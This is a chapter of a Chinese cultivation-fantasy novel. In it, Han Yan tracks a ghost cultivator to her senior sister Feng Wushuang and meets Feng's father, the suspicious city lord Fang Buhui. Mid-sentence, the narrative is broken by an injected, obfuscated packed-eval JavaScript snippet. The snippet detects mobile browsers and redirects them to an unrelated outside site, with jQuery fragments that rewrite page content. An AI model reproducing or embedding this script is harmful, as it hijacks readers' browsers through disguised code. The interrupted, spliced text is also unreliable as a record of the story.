双掌相接,刺骨的寒冷沁入骨髓。
面目模糊的黑影低声惊呼,阴冷的视线扫了寒砚一眼,反应极快地破窗而出。
寒砚没有第一时间去追,垂眸看了眼掌心残留的黑气,眉间轻蹙,然后才跟着跳窗追去。
这个偷袭她的家伙,修为目测在元婴后期,是她进入丰城后遇到的修为最高之人。
虽然对方未必是人。
这样的修为,必然不可能是喽啰。
夜凉如水,星子高悬。
入夜之后的丰城因为宵禁,街上并无行人商贩。
家家关门闭户,寂静无声,不见一丝光亮。
好在不管什么样的黑暗都不会影响寒砚视物。
她不远不近地跟在黑影身后,像猫捉老鼠一样逗弄,气得对方险些掉过头来跟她打一架。
但不行,打不过!
黑影偶尔回头看跟在自己后方不远处的家伙,无论如何也甩不掉,不禁咬碎一口银牙。
可恶!
为了摆脱寒砚,黑影开始在丰城中兜圈子,凭着自身的特殊性,化为黑雾在各个狭小的空间里钻来钻去。
本体是人,追得略显狼狈的寒砚:“……”
黑影的这个方法似有奇效,在围绕着这座城跑了第二圈后,后方终于没有了那道白色的身影。
不过黑影很谨慎,再三确认后,这才出了城门。
出城门后,黑影并未走太远,越过护城河,唰地飞入密林。
浅淡月光穿过树叶,在地面映出狰狞扭曲的树影。
树林和丰城城内一样安静,连虫鸣声也不曾听见,仿佛没有一只活物。
黑影还在继续往里,最终在一处小山丘前方几米处停下。
小山丘上,立着道如雪清冷的身影。
那人无奈道:“我不是说了,不要随便去城里吗?很危险,真要去,起码和我说一声。”
“抱、抱歉。”黑影怯怯开口。
那人转过身,缓步走下山丘。
“阁下既然来了,何不现身一见。”
妃色衣裙的女子身材高挑,纤细柔韧的腰肢上缠有一串玉色清心铃,行走间响起清脆悦耳的铃声。
冷白的手修长如玉,此时正撑着把墨梅花纹的骨伞。
伞下,是一张寒砚分外熟悉的脸。
眼覆白练,雪肤乌发。
整个人都好似笼罩在浅淡的薄雾中,清冷出尘,看不真切。
黑影明白什么,倏地转过身,瞪大眼看向从暗中走出的白裙少女。
身上黑气翻滚,蓄势待发。
“大师姐。”
寒砚将师无故塞进袖子里,乖巧地跟人打招呼。
是的,此人正是无妄剑宗,唯一一个修无情剑道的天才剑修。
——剑宗大师姐风无双。
风无双一愣,下意识出声,“小师叔?”
旋即,周身的冷意散去,大步朝寒砚走去。
偌大的无妄剑宗,寒砚和风无双的关系最为特别。
两人的称呼各论各的。
世间美人万千,有的人皮相美,有的人骨相美,而风无双无一不令人惊艳。
当然,最叫人见之难忘的还是她的剑——溯流光。
风无双拉过她的手,检查她有没有受伤。
寒砚却好似触碰到一块冰,冷得没有一丝温度。
“瘦了,可是门中小辈照顾不周?”风无双道,平静淡漠的话中难掩心疼。
寒砚:“……”
有种瘦叫做师姐觉得你瘦?
风无双没等她开口,又道:“丰城偏僻,你身子骨虚弱,怎会来此?身体可还好?”
“我是接了个任务过来,身体无恙,师姐不必太过担忧。”
没有提风无双魂灯变故一事,视线转向那道死死盯着她的黑影,“师姐,这位是?”
风无双这才想起寒砚是跟着黑影过来的,朝黑影伸招手,“轻月,你过来吧,这是我宗门的小师叔,不是坏人,别怕。”
黑影犹豫片刻,还是听话地散去身上黑气,显露出原貌。
是个长相美丽的年轻女子。
寒砚意外地扬起眉梢。
她神情有些瑟缩,见风无双喊她,飞快小跑过来躲在风无双身后。
寒砚看了眼女子,又看了眼风无双,诡异地发现二人五官还挺相似。
“她叫楼轻月,被歹人所害的修士,死后不得已转为鬼修。”风无双见她不愿出来,没强求。
“她生前大概是受了刺激,导致记忆缺失,心智有损,但本性善良。你追着她过来,可是她做了什么?”
楼轻月虽然心智不全,但能够听懂风无双的话,怕她误会自己,急道:“无双,我没、没伤人。”
寒砚慢条斯理地开口,“遇见她时,她鬼鬼祟祟出现在我身后,不知道想做什么。”
“书房,危险。”楼轻月从风无双身后探出个脑袋,一字一句认真对寒砚道:“有东西,会吃人。”
“书房?你们在什么地方遇见的?”
风无双没想到自己千叮咛万嘱咐,楼轻月还是没听她的话。
“我接的任务是调查丰城,意外进了城主府。”寒砚说完还问了嘴赵景。
风无双并不认识这个弟子,也不曾在城中见过疑似剑宗弟子的人,“轻月是丰城本地人,拜在隐神阁门下,不知为何人所杀,我怀疑是城主,因此勒令她不要走动。”
“丰城城主如今并不在城主府。”寒砚道。
“不,他在。”风无双声音一沉,“每个月的这一天他都会消失一天,但我可以确定他还在丰城之内。”
“先进城吧,具体的情况我慢慢跟你说。”
风无双作为剑宗大弟子,未来的掌门,被无数人寄予厚望,时常在外历练。
尤其她修的还是剑宗最晦涩难懂的无情剑道,淬炼心境至关重要。
大概两个月前,她感知自己的修行进入瓶颈,迟迟无法晋升化神,无奈之下来找隐神阁的大祭司算了一卦。
“大祭司告诉我,我心有牵挂,故而难以进阶。可我冥思苦想,终不得解,直到我后面和大祭司几次交谈,才知我的亲人尚在人世。”
风无双是被逍云掌门从修真界当孤儿抱回去的,因为父母中至少有一方是修士,门中长老鲜少有人精通卜算,都只当她父母双亡,不曾提及。
在这样的环境下长大,风无双也懂事得没多问,也被带着以为自己的双亲已经不在人世。
如今亲缘竟已影响到她的修行,只怕她父母如今的处境与她有关。
因果纠缠,叫她心绪难宁。
在大祭司的帮助下,她来到丰城。
“那师姐可是找到了伯父伯母?”
寒砚与风无双并肩走在空无一人的大街上,楼轻月作为鬼修,安静飘在风无双身后,像个背后灵。
修士的后背何其敏感,寒砚没想到风无双会对一个认识不久的人如此放心。
她很想问,师姐你真的没什么姐妹吗?
风无双点头,又摇头。
“只找到了父亲,没找到母亲。”
“可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888600|192129||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大祭司告诉我,我的双亲都还活着……”
她话音落下,城中夜风骤起。
在街道的尽头,一个身形高大挺拔的男人,不知何时站在那里,不发一言地看着两人一鬼。
楼轻月还是怕生,鬼气遮掩住身形,完全借风无双将自己挡住。
约莫四十出头的男人身穿玄色锦袍,几乎完全隐于夜色,但肤色很白,尽管上了年纪,依旧可看出年轻时候的风华俊逸。
寒砚仔细一瞧,确实和风无双有那么两分相似。
“无双啊,为父不是告诉过你,你的母亲早已不在人世了吗。”
风无双停下步伐,喊了声父亲。
寒砚跟着喊了声伯父。
男人没说话,并不慈祥的目光落到寒砚身上,就是这个小丫头,杀了他府中不少下人……
黑色长靴踏过青石板地面,他一手负于身后,无声朝二人走来。
他唇角缓缓上扬,笑意却不达眼底,尽管眼神还算温柔,却让寒砚有种被毒蛇盯上了的感觉。
“无双身后的那位朋友,怎么不出来打声招呼?我方不悔又不是什么吃人的妖魔鬼怪。”
他不说话还好,一开口楼轻月就浑身发抖,察觉到他的靠近,咻的声缩进风无双衣襟里。
风无双被她身上的鬼气冻得眉心一跳,正色道:“父亲。”
“好了,不过是开个玩笑,不为难你的朋友。”方城主抬了抬眼帘,“现在的年轻人,到底还是缺乏点教养。”
“好了,大晚上的出门也不带点侍卫,你要是再跟一百年前一样失踪不见,你要为父如何面对你母亲。走吧,先回府。”
风无双应是。
寒砚也没想到,这个府是城主府。
看来师姐这个爹不简单啊,都能知道她进城,怎么可能不知道她杀了他府中的人。
可他,这个叫方不悔的丰城城主跟没事人一样,看她的眼神平静得可怕。
一路上,方城主和风无双在说话,寒砚没机会插嘴。
她落后半步,几乎明目张胆地盯着方不悔打量。
她倒要看看这个城主是何人物。
化神修士……
确实有把刷子。
……
风无双作为城主的女儿,方城主以培养父女感情为由,将她的住处安排在主院。
而寒砚这个客人,则被安排在有段距离的客房。
王管家死了,方城主应该是刚回来,还没来得及让人顶上管家的位置。
随手点给寒砚带路的人好巧不巧正是之前在花园撞见的,修剪花枝的侍女。
对方见到寒砚,也很意外。
将人带到客房后,侍女转身欲走。
寒砚将人喊住。
“客人还有什么问题吗?”
寒砚微笑:“能和我说一下你们城主府有几位主子吗?我怕到时候不小心冒犯了主人家,给师姐惹麻烦。”
侍女回:“府内过去城主一位主子,如今又多了小姐。”
“你对城主夫人知道多少?”
侍女看了寒砚一眼,怯怯道:“夫人已仙逝近百年,我入府晚,并不清楚。”
她如今不过十五六的年纪,不清楚也正常。
“你们知道城主有个失踪百年的女儿吗?”
寒砚见过正常家庭的相处,那方城主对风无双虽还算轻声细语,可他明显并不在乎这个女儿,不然不会当着她的面指责楼轻月……
不对,也不是完全不在乎。
比起爱,更像是担心她出事,会危及他利益。